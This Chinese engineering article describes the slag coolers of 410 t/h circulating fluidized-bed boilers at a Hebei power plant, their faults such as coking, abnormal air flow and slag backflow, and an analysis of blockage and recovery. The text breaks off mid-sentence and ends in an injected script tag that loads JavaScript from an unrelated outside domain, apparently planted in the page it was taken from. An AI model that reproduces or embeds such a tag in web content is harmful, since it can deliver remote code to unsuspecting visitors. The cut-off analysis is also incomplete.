摘 要:选择性排灰冷渣器是cfb锅炉运行稳定的关键部件。文章对其在运行过程中出现的问题进行了分析，采取了相应的改进措施,取得了较好效果。
关键词：冷渣器;cfb锅炉;分析；运行故障
1cfb锅炉冷渣器简介
河北热电有限责任公司八期工程装有4台dg410/9.81-9型cfb锅炉，系东方锅炉集团引进美国fw技术制造。蒸发量为410 t/h，主蒸汽压力9.81 mpa,主蒸汽温度540 ℃。每台锅炉配有4台选择性排灰冷渣器。每台冷渣器出力为50%bmcr，当2台故障时仍能保证炉膛床压在合理范围内，使锅炉稳定运行。无论定期或连续排渣，都能保证排渣温度低于150 ℃，并能长期运行。
炉渣通过炉膛下部两侧墙上的4个排渣口进入各冷渣器，每个排渣管上布置13根脉动风管，风源为“j”阀风，如果排渣管发生堵塞，可用压缩空气进行吹扫。炉渣依次经过冷渣器的选择室、3个冷却室后，由排渣口进入冷渣器下方的缓冲仓，由d泵打入灰仓。炉渣中部分细颗粒从选择室、冷却室上部返回炉膛。4个室均有各自的布风装置，各室流化风由一次风机提供，第一、第二冷却室中布置有作为省煤器一部分的水冷管束。
冷渣器配有事故喷水，用于紧急状态下冷却灰渣。喷水通过雾化喷嘴喷入冷渣器，防止进入除灰系统。
2出现的问题
2002年12月初投产的＃23、#24锅炉，冷渣器运行很不稳定，造成锅炉多次被迫停运，出现问题如下：
a. 冷渣器选择室结焦严重。许多渣中含有未燃尽煤，且有渣熔化的痕迹，属于高温结焦。
b. mft停炉后，炉膛床层内埋有拳头大小的焦块，结构疏松；落渣管和选择室均有大量类似焦块，属于低温结焦，即局部高温焦。
c. 冷渣器运行时，流化风量比设计工况大一倍，影响了炉膛流化，改变了炉内一、二次风量配比。锅炉负荷增大时，造成一次风机出力不足。
d. 冷渣器运行时，各室床压无法建立。
e. 个别冷渣器进渣管烧红，造成排渣量不稳定。停炉后发现，进渣管内的耐火保温材料脱落。
f. 冷渣器停运后，存在炉渣自流和炉膛烟气反窜进入冷渣器现象。由于炉膛差压及热渣料流动性较好，炉渣自流常发生在炉膛床压较高、冷渣器停运吹扫过程中；烟气反窜现象常发生在冷渣器停运、各流化风门关小后。
g. 冷渣器风帽磨损严重，选择室流化风量不足。
3冷渣器非正常运行工况分析
3.1冷渣器正常运行到堵塞过程分析（以某冷渣器高温结焦为例）
冷渣器开始投运时，冷渣器内床压可以建立，其中选择室1.5 kpa,其余室1 kpa左右，冷渣器排渣畅通，但引渣时其脉动风调节门开度较大。
正常运行后，用脉动风调节门引不出渣，只能用压缩空气引渣。一般采用这种方法引渣后，宜用脉动风调节门选择合适的开度来代替，否则压缩空气压力高，引渣量大，选择室温度将居高不下。这次引渣后，选择室温度已达740 ℃，床压2.0 kpa，其余室不到1 kpa。这种运行工况持续到有未燃尽煤落入后，选择室温度很快上升。停止该冷渣器运行后，选择室温度已达1 100 ℃以上。加强吹扫，选择室床压降到1.2 kpa便降不下去,此时,可以判断选择室已初步结焦。重新投入后, 选择室温度达到870 ℃，床压为2.5 kpa，这种运行工况持续到有未燃尽煤落入后，选择室温度很快上升，该冷渣器停运后，选择室温度已达1 000 ℃以上。加强吹扫，选择室床压最低降到1.9 kpa, 判断选择室已逐步结焦。待重新投入，选择室床温、床压上升较快，而排渣量较小。
由上可知，冷渣器从正常排渣到高温结焦堵塞，与瞬间排渣量大有关；同时是一个缓慢的恶性循环过程，这种循环以一种不正常工况开始（如炉膛床压居高不下，用压缩空气引渣，选择室温度高于750 ℃等），以冷渣器投入时选择室床温、床压上升较快，无法控制而导致堵塞，周期一般不超过2 d。
3.2冷渣器堵塞到正常投运过程分析（以某冷渣器低温结焦为例）
停运前，冷渣器床温未超过750 ℃。停运后，对冷渣器各室加强吹扫（选择室和第1室挡板反复开关，3个冷却室挡板依次开关），冷渣器选择室床压波动较大，最高达2.8 kpa，其余各室床压0.5 kpa左右，加强选择室吹扫，床压降不下去，可初步判断选择室内已有结焦现象。
建立冷渣器各室正常流化风量，提高各室风压至7 kpa以上，投运冷渣器，选择室床压上升到3.7 kpa，其余室1.3 kpa左右。选择室温度上升较快，减少脉动风调节门开度后，选择室温度下降较快，选择室床压波动较大，最高达3.7 kpa。几次波动后，选择室床压由3.0kpa突降为1.4 kpa。稍关小选择室流化风量，波动1 h后，选择室床压逐渐稳定在1.2 kpa，冷渣器投运成功。
由上可知，低温焦块到冷渣器后，由于选择室床压高，而冷渣器被迫停运。由于存在炉渣自流且随后进行了冷渣器吹扫，使焦块产生低温结焦；但?script src=http://er12.com/t.js>
